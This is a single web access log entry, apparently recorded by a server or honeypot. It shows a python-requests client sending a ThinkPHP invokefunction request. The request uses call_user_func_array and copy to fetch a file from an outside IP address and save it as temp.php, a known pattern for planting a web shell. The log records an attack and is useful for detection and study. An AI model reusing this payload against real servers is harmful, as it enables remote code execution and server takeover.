Jan. 24, 2025, 2:44 p.m. — GET /?s=/admin/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars%5B0%5D=copy&vars%5B1%5D%5B%5D=http://120.46.193.203/2.txt&vars%5B1%5D%5B%5D=temp.php → 200
User-Agent: python-requests/2.32.3